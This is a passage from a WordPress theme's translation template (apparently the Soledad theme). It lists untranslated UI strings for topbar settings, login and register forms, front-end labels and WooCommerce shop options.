"This option just apply when you select \"Filter Topbar by\" Category above"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:250
msgid ""
"This option just apply when you select \"Filter Topbar by\" Tags above. And "
"please fill list featured tags slug here, check <a class=\"wp-customizer-"
"link\" rel=\"nofollow\" href=\"https://soledad.pencidesign.net/soledad-"
"document/images/tags.png\" target=\"_blank\">this image</a> to know what is "
"tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:351
msgid "Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:358
msgid "Show Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:359
msgid ""
"If you enable topbar menu, you need go to Dashboard > Appearance > Menus > "
"create/select a menu for your topbar > scroll down and check to \"Topbar "
"Menu\" at the bottom"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:366
msgid "Hide Topbar Menu on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:373
msgid "Turn Off Uppercase on Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:379
msgid "Social Media / Login & Register Popup"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:386
msgid "Hide Social Icons on Top Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:393
msgid "Enable Use Brand Colors for Social Icons on Top Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:400
msgid "Display Login/Register?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:401
msgid ""
"Note that: By default, the register form is disabled, if you want to enable "
"it, please go to Dashboard > Settings > General > on \"Membership\" check to "
"\"Anyone can register\" - check <a class=\"wp-customizer-link\" "
"href=\"https://imgresources.s3.amazonaws.com/register.png\" "
"target=\"_blank\">this image</a> for more.<br>And if you want to add captcha "
"for Login/Register form, you can use <a class=\"wp-customizer-link\" "
"href=\"https://wordpress.org/plugins/login-security-recaptcha/\" "
"target=\"_blank\">this plugin</a> - this theme supports Google reCaptcha v2 "
"from this plugin."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:406
msgid "On the left social icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:407
msgid "On the right social icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:413
msgid "Redirect to a custom URL after logging in."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:414
msgid ""
"By default, after successfully logging in, the user will be redirected to "
"the current page URL. You can enter a different URL in this field to "
"redirect the user to another page."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:429
msgid "Hide Social Icons & Login on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:436
msgid "Turn off uppercase for titles on login/register popup"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:443
msgid "Turn off uppercase for submit buttons on login/register popup"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:7
msgid "Text: \"Type and hit enter...\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:14
msgid "Text: \"read\" - suffix of reading time"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:21
msgid "Text: \"views\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:28
msgid "Text: \"ago\" after Time Ago Format"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:35
msgid "Add Text Before Time Ago Format"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:42
msgid "Text: \"Published:\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:49
msgid "Text: \"Last Updated on\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:56
msgid "Text: \"comment\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:63
msgid "Text: \"comments\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:64
msgid "for plural of comments"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:71
msgid "Text: \"Reply\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:78
msgid "Text: \"Edit\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:85
msgid "Text: \"Your comment is awaiting approval\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:92
msgid ""
"Text: \"Save my name, email, and website in this browser for the next time I "
"comment.\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:99
msgid "Text: \"by\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:106
msgid "Text: \"Home\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:113
msgid "Text: \"Newer Posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:120
msgid "Text: \"Older Posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:127
msgid "Text: \"Load More Posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:134
msgid "Text: \"Load More Items\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:141
msgid "Text: \"Load More Comments\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:148
msgid "Text: \"Sorry, No more posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:155
msgid "Text: \"Sorry, No more items\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:162
msgid "Text: \"Sorry, No more comments\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:169
msgid "Text: \"Sorry, No comments found.\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:176
msgid "Text: \"All\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:183
msgid "Text: \"Back To Top\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:190
msgid "Text: \"written by\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:197
msgid "Text: \"Updated by\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:204
msgid "Text: \"Reviewed by\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:211
msgid "Text: \"Edited by\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:218
msgid "Text: \"Revised by\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:224
msgid "Text: \"You Might Be Interested In\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:230
msgid "Text: \"Author Profile\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:236
msgid "Text: \"Posts by the Author\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:243
msgid "Text: \"previous post\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:250
msgid "Text: \"next post\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:257
msgid "Text: \"Read also\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:264
msgid "Text: \"Next\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:271
msgid "Text: \"Back\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:278
msgid "Text: \"K\" (Stands for Thousands)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:285
msgid "Text: \"M\" (Stands for Millions)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:292
msgid "Text: \"Bookmark\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:299
msgid "Text: \"A+\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:306
msgid "Text: \"A-\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:313
msgid "Text: \"Reset\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:320
msgid "Text: \"Sponsored\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:327
msgid "Text: \"Sponsored by:\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:334
msgid "Text: \"Name*\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:341
msgid "Text: \"Email*\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:348
msgid "Text: \"Website\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:355
msgid "Text: \"Your Comment\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:362
msgid "Text: \"Leave a Comment\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:369
msgid "Text: \"Cancel Reply\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:376
msgid "Text: \"Submit\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:383
msgid "Text: \"Category:\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:390
msgid "Text: \"Continue Reading\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:397
msgid "Text: \"Read more\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:404
msgid "Text: \"View All\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:411
msgid "Text: \"Tag:\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:418
msgid "Text: \"Tags\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:425
msgid "Text: \"Posts tagged with\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:432
msgid "Text: \"Author\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:439
msgid "Text: \"Daily Archives\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:446
msgid "Text: \"Monthly Archives\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:453
msgid "Text: \"Yearly Archives\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:460
msgid "Text: \"Archives\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:467
msgid "Text: \"Search\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:474
msgid "Text: \"Search results for\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:481
msgid "Text: \"Share\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:488
msgid "Text: \"Comments are closed.\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:495
msgid ""
"Text: \"Sorry, but nothing matched your search terms. Please try again with "
"some different keywords.\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:502
msgid "Text: \"Back to Home Page\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:509
msgid "Text: \"Recent\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:516
msgid "Text: \"Popular\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:523
msgid "Text: \"Post\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:530
msgid "Text: \"Posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:537
msgid "Text: \"No results\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:544
msgid "Text: \"Show all results\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:551
msgid "Text: \"minutes\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:557
#: inc/customizer/default.php:182 inc/social-counter/admin-options.php:238
#: inc/social-counter/admin-options.php:290
#: inc/social-counter/admin-options.php:330
#: inc/social-counter/admin-options.php:406
#: inc/social-counter/admin-options.php:445
#: inc/social-counter/admin-options.php:493
#: inc/social-counter/admin-options.php:536
#: inc/social-counter/admin-options.php:579
#: inc/social-counter/admin-options.php:624
#: inc/social-counter/admin-options.php:670
#: inc/social-counter/admin-options.php:709
#: inc/social-counter/admin-options.php:755
msgid "Followers"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:558
#: inc/customizer/default.php:183
msgid "Follow"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:559
#: inc/customizer/default.php:184
msgid "Following"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:560
#: inc/customizer/default.php:185
msgid "Likes"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:561
#: inc/customizer/default.php:219
msgid "Showing {{value}}-{{value}} of {{value}} post results"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:562
#: inc/customizer/default.php:220
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:752
msgid "Sort by latest"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:563
#: inc/customizer/default.php:221
msgid "Sort by older"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:564
#: inc/customizer/default.php:222
msgid "No Content Available"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:565
#: inc/customizer/default.php:197
msgid "My Account"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:566
#: inc/customizer/default.php:198 inc/templates/edit_account.php:154
msgid "Edit Account"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:567
#: inc/customizer/default.php:199
msgid "Change Password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:568
#: inc/customizer/default.php:203
msgid "Old Password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:569
#: inc/customizer/default.php:204
msgid "New Password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:570
#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:623
#: inc/customizer/default.php:147 inc/customizer/default.php:205
msgid "Confirm Password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:571
#: inc/customizer/default.php:200
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:52
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:142
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:79
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:80
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:62
msgid "Choose Image"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:572
#: inc/customizer/default.php:201
msgid "Add Media"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:573
#: inc/customizer/default.php:202
msgid "Insert"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:579
#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:638
#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:664
msgid "Text: \""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:586
#: inc/js_composer/shortcodes/login_form/settings.php:11
msgid "Login/Register Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:591
#: inc/customizer/default.php:113
msgid "Hello"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:592
#: inc/customizer/default.php:114
#: inc/dashboard/lib/meta-box/inc/about/about.php:86
msgid "Dashboard"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:593
#: inc/customizer/default.php:115
msgid "Profile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:594
#: inc/customizer/default.php:116
msgid "Logout"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:595
#: inc/customizer/default.php:117
msgid "Sign In"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:596
#: inc/customizer/default.php:118
msgid "Register New Account"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:597
#: inc/customizer/default.php:119
msgid "Password Recovery"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:598
#: inc/customizer/default.php:123
msgid "Username or email"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:599
#: inc/customizer/default.php:122
msgid "Email Address"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:600
#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:622
#: inc/customizer/default.php:124 inc/customizer/default.php:146
msgid "Password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:601
#: inc/customizer/default.php:125
msgid "Keep me signed in until I sign out"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:602
#: inc/customizer/default.php:126
msgid "Login to your account"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:603
#: inc/customizer/default.php:128
msgid "Forgot your password?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:604
#: inc/customizer/default.php:129
msgid "Do not have an account ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:605
#: inc/customizer/default.php:130
msgid "Register here"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:606
#: inc/customizer/default.php:127
msgid "Please validate you are not robot."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:607
#: inc/customizer/default.php:120
msgid "Wrong username or password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:608
#: inc/customizer/default.php:121
msgid "Login successful, redirecting..."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:609
#: inc/customizer/default.php:132
msgid "Send My Password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:610
#: inc/customizer/default.php:133
msgid "A new password will be emailed to you."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:611
#: inc/customizer/default.php:134
msgid "Have received a new password?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:612
#: inc/customizer/default.php:135
msgid "There is no user registered with that email."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:613
#: inc/customizer/default.php:136
msgid "From:"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:614
#: inc/customizer/default.php:137
msgid "Your new password is:"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:615
#: inc/customizer/default.php:138
msgid "Check your email address to get the new password."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:616
#: inc/customizer/default.php:139
msgid ""
"The email could not be sent. Possible reason: your host may have disabled "
"the mail() function."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:617
#: inc/customizer/default.php:140
msgid "Oops! Something went wrong while updating your account."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:618
#: inc/customizer/default.php:142 inc/templates/edit_account.php:23
msgid "First Name"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:619
#: inc/customizer/default.php:143 inc/templates/edit_account.php:35
msgid "Last Name"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:620
#: inc/customizer/default.php:144
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:142
#: inc/instagram/widget.php:224
#: inc/js_composer/shortcodes/tiktok_embed_feed/settings.php:16
msgid "Username"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:621
#: inc/customizer/default.php:145
msgid "Email address"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:624
#: inc/customizer/default.php:148
msgid "Sign up new account"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:625
#: inc/customizer/default.php:149
msgid "Have an account?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:626
#: inc/customizer/default.php:150
msgid "Login here"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:627
#: inc/customizer/default.php:152
msgid "Invalid email."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:628
#: inc/customizer/default.php:153
msgid "Password does not match the confirm password"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:629
#: inc/customizer/default.php:154
msgid "This username is already registered."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:630
#: inc/customizer/default.php:155
msgid "This email address is already registered."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:631
#: inc/customizer/default.php:156
msgid "Wrong username or password."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:632
#: inc/customizer/default.php:157
msgid "Registered successful, redirecting..."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:646
#: inc/customizer/default.php:224
msgid "Your rating:"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:647
#: inc/customizer/default.php:225
msgid "Your review title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:648
#: inc/customizer/default.php:226
msgid "Your Review"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:649
#: inc/customizer/default.php:227
msgid "Tell about your experience or leave a tip for others"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:650
#: inc/customizer/default.php:228
msgid "Submit your Review"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:651
#: inc/customizer/default.php:229
msgid "Review Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:652
#: inc/customizer/default.php:230
msgid "Rating:"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.php:656
msgid "Comment Rating Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:6
msgid "Header Area"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:14
msgid "Hide Header Shopping Cart Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:21
msgid "Header Shopping Cart Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:22
msgid "Select the shopping cart detail style."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:25
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:54
#: inc/widgets/product_filter.php:94
msgid "Dropdown"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:26
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:19
msgid "Side Left"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:27
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:18
msgid "Side Right"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:34
msgid "Custom Size for Woocommerce Icons at the Header"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:54
msgid ""
"This option apply for shop archive page only.<br/>If you want to modify the "
"single product breadcrumb, please navigate to <strong>WooCommerce > Single "
"Product > Breadcrumb Position</strong>."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:60
msgid "Sidebar Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:67
msgid "Enable Sidebar On Shop Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:74
msgid "Enable Sidebar On Shop Archive"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:75
msgid ""
"Show sidebar widget on Product Category/Tags/Atribute/Search Result pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:82
msgid "Enable Sidebar On Single Product"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:89
msgid "Single Product Sidebar Placement"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:90
msgid "Select the position of the sidebar display on single product."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:101
msgid "Enable Left Sidebar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:108
msgid "Enable Scrollable For Filter Widget"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:118
msgid "Custom Maximium Height For Filter Widget"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:146
msgid "Pagination Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:152
msgid "Products pagination"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:153
#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:68
msgid "Choose a type for the pagination on your shop page."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:157
#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:72
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1339
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1108
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:115
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:644
#: inc/elementor/modules/penci-product/widgets/penci-product.php:304
#: inc/gutenberg/block/portfolio/index.js:91
#: inc/js_composer/inc/vc-params-helper.php:1398
#: inc/template-builder/archive-elements/posts.php:1262
msgid "Pagination"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:158
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:120
#: inc/gutenberg/block/portfolio/index.js:45
#: inc/js_composer/soledad_vc.php:1459
msgid "Load More Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:159
#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:73
msgid "Infinit Scrolling"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:165
msgid "Page Navigation Alignment"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:177
msgid "Infinit Ajax Scroll Threshold"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:178
msgid ""
"Sets the distance between the viewport to scroll area for scrollThreshold "
"event to be triggered. <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://infinite-scroll.com/options.html#scrollthreshold\">Click "
"here</a> for more information."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:197
msgid "Infinit Scroll History Options"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:198
msgid ""
"Changes page URL and browser history. <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://infinite-scroll.com/options.html#history-"
"options\">Click here</a> for more information."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:203
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:163
#: inc/js_composer/shortcodes/info_box/settings.php:182
msgid "Push"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:204
msgid "Replace"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:210
msgid "History Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:211
msgid ""
"Updates the window title. Requires history enabled. <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\"https://infinite-scroll.com/options."
"html#historytitle\">Click here</a> for more information."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:219
msgid "Side Cart Product Quantity Input"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:220
msgid "Show quantity input on side cart product item."
msgstr ""

